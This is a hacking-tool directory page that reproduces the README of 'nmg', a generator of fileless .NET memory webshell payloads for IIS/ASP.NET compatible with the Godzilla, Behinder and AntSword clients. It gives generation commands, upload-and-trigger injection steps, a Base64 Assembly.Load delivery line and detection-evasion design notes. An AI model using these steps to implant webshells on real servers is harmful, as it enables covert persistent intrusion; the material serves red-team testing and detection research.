Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
nmg — Generates parameterized .NET memory-shell payloads (VPP, MVC route, HttpListener) compatible with Godzilla, Behinder, and AntSword clients for red team testing. | Kitploit
Tools/GitHubGitHub/baguette168/nmg
Defensive ToolsPayload GenerationPersistence MechanismsWeb Application ExploitationPost-ExploitationWeb SecurityPenetration TestingRed TeamingRemote Access ToolShellcode GenerationPayload Development
71913 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
GitHubbaguette168/nmg

nmg

Generates parameterized .NET memory-shell payloads (VPP, MVC route, HttpListener) compatible with Godzilla, Behinder, and AntSword clients for red team testing.

View Repository
Share

NMG - .NET Memory-shell Generator

.NET Tests License Platform

Parameterized .NET memory shell generator | Red team / security testing | JMG equivalent for .NET

Architecture

+-----------------------------------------------------+
|                    nmg.exe (CLI)                     |
+------------------------+----------------------------+
|  generate (payload)    |  probe (env detection)     |
+------------------------+----------------------------+
|                  Protocol Layer                      |
|  +----------+  +----------+  +----------+           |
|  | Godzilla |  | Behinder |  | AntSword |           |
|  | AES-128  |  | AES-128  |  | Base64   |           |
|  +----------+  +----------+  +----------+           |
+------------------------------------------------------+
|               Template Layer                         |
|  +----------+  +----------+  +--------------+       |
|  |   VPP    |  |  Route   |  | HttpListener |       |
|  | IIS hook |  |MVC Route |  |  Standalone  |       |
|  +----------+  +----------+  +--------------+       |
+------------------------------------------------------+
|             Compilation Engine                       |
|        Roslyn -> DLL (net40/net472)                 |
|    deterministic / XOR obfuscated / randomized      |
+------------------------------------------------------+
|                Output Layer                          |
|    aspx injector / base64 / dll                     |
+------------------------------------------------------+

What is NMG?

NMG generates parameterized .NET memory shell payloads that inject into IIS/ASP.NET applications without leaving files on disk. After injection, you connect with existing webshell managers (Godzilla / Behinder / AntSword) - NMG just makes the server side work.

Think of it as: input parameters -> compiled payload -> inject -> connect with client

Features

Memory Shell Types

TypeTarget.NET FrameworkTrigger Point
vppIIS/ASP.NET2.0+VirtualPathProvider.GetCacheKey
routeMVC/WebAPI3.5+RouteBase.GetRouteData
httplistenerStandalone/SYSTEM2.0+HttpListener (independent of IIS)

Shell Protocols

ProtocolClientEncryptionVerified
godzillaGodzilla 4.xAES-128 (key=MD5(pass+key)[0:16])✅ End-to-end
behinderBehinder 4.xAES-128 (key=MD5(pass)[0:16] raw bytes)✅ End-to-end
antswordAntSwordBase64✅ End-to-end

Output Formats

FormatUse Case
aspxUpload to writable directory, access once to inject
b64For RCE delivery via deserialization/expression injection
dllRaw DLL for custom loaders

Subcommands

CommandPurpose
generateGenerate memory shell payload
probeGenerate environment detection aspx (reports CLR/trust/MVC/VPP)
versionShow version
helpShow usage

Web UI

Built-in web interface with Inset Dark theme (Linear-style minimalism):

cd src/Api && dotnet run --urls "http://127.0.0.1:9901"
# Open http://127.0.0.1:9901

Quick Start

CLI

# VPP memory shell, Godzilla protocol, net40 target
nmg generate --type vpp --shell godzilla --pass p@ss123 --seed 42

# Route memory shell for MVC targets
nmg generate --type route --shell godzilla --pass mypass --target net472

# HttpListener for SYSTEM-level access
nmg generate --type httplistener --pass root --path "http://*:8080/cmd/"

# AntSword protocol
nmg generate --type vpp --shell antsword --pass mypass

# Generate environment probe page
nmg probe -o probe.aspx

# Output as Base64 for deserialization delivery
nmg generate --type vpp --shell godzilla --pass p@ss123 --format b64 -o payload.b64

Injection Methods

Method 1 — ASPX injector:

  1. Upload the generated .aspx file to any writable directory on the target
  2. Access it once in a browser (triggers Assembly.Load + VPP registration)
  3. Delete the aspx file
  4. Connect with your webshell client to any existing .aspx/.ashx/.asmx on the site

Method 2 — Base64 (RCE delivery): Execute at any code execution point:

Assembly.Load(Convert.FromBase64String("<payload>"))

Probe

Upload the generated probe.aspx and access it once. It returns JSON with:

{
  "clr": "4.0.30319.42000",
  "trustLevel": "Full",
  "mvc": false,
  "vpp": "Net.Net.Loader.PathHandler74",
  "appPool": "NmgLab"
}

Use this to determine which memory shell type and protocol to use.

Design Principles

  1. Host-safe: All execution paths wrapped in try-catch, any exception silently passes the request through
  2. Idempotent: Repeated injection doesn't stack registrations
  3. No file residue: After injection, no new files in web directory
  4. Deterministic: Same parameters + same seed = byte-identical output (NFR-5)
  5. No dynamic compilation on target: Payload is pre-compiled, avoids ASP.xxx_aspx+ClassName detection
  6. Dual registration: VPP uses official API first, falls back to direct field replacement for IIS Integrated mode

Building

dotnet build
dotnet test
dotnet publish src -c Release -r win-x64 --self-contained -o publish/

Project Structure

nmg/
├── src/
│   ├── Program.cs              # CLI entry point
│   ├── GenerateOptions.cs      # generate pipeline (protocol × type × format)
│   ├── ProbeCommand.cs         # probe subcommand
│   ├── Shells/
│   │   ├── GodzillaCSharp.cs   # Godzilla protocol (AES-128)
│   │   ├── BehinderNet.cs      # Behinder protocol (AES-128 raw bytes)
│   │   └── AntSwordNet.cs      # AntSword protocol (Base64)
│   ├── Templates/
│   │   ├── VppTemplate.cs      # VirtualPathProvider registrar
│   │   ├── RouteTemplate.cs    # RouteBase registrar
│   │   ├── HttpListenerTemplate.cs
│   │   └── ProbeTemplate.cs    # Environment probe page
│   ├── Compiler/
│   │   └── RoslynCompiler.cs   # Multi-target deterministic Roslyn
│   ├── Randomizer/
│   │   └── SeedRandom.cs       # Deterministic randomization
│   ├── Formats/
│   │   ├── AspxInjector.cs     # Self-contained aspx injector page
│   │   └── Base64Output.cs     # Raw Base64 output
│   └── Api/
│       ├── Program.cs          # ASP.NET Core minimal API
│       └── wwwroot/index.html  # Web UI (Inset Dark)
└── tests/                      # 35 unit tests

References

  • BeichenDream/GodzillaMemoryShellProject.NET
  • yzddmr6's ASP.NET memory shell series — filter, route, HttpListener, VirtualPath
  • yzddmr6/ASP.NET-Memshell-Scanner
  • pen4uin/jmg — Java Memory-shell Generator

License

MIT

Download Tool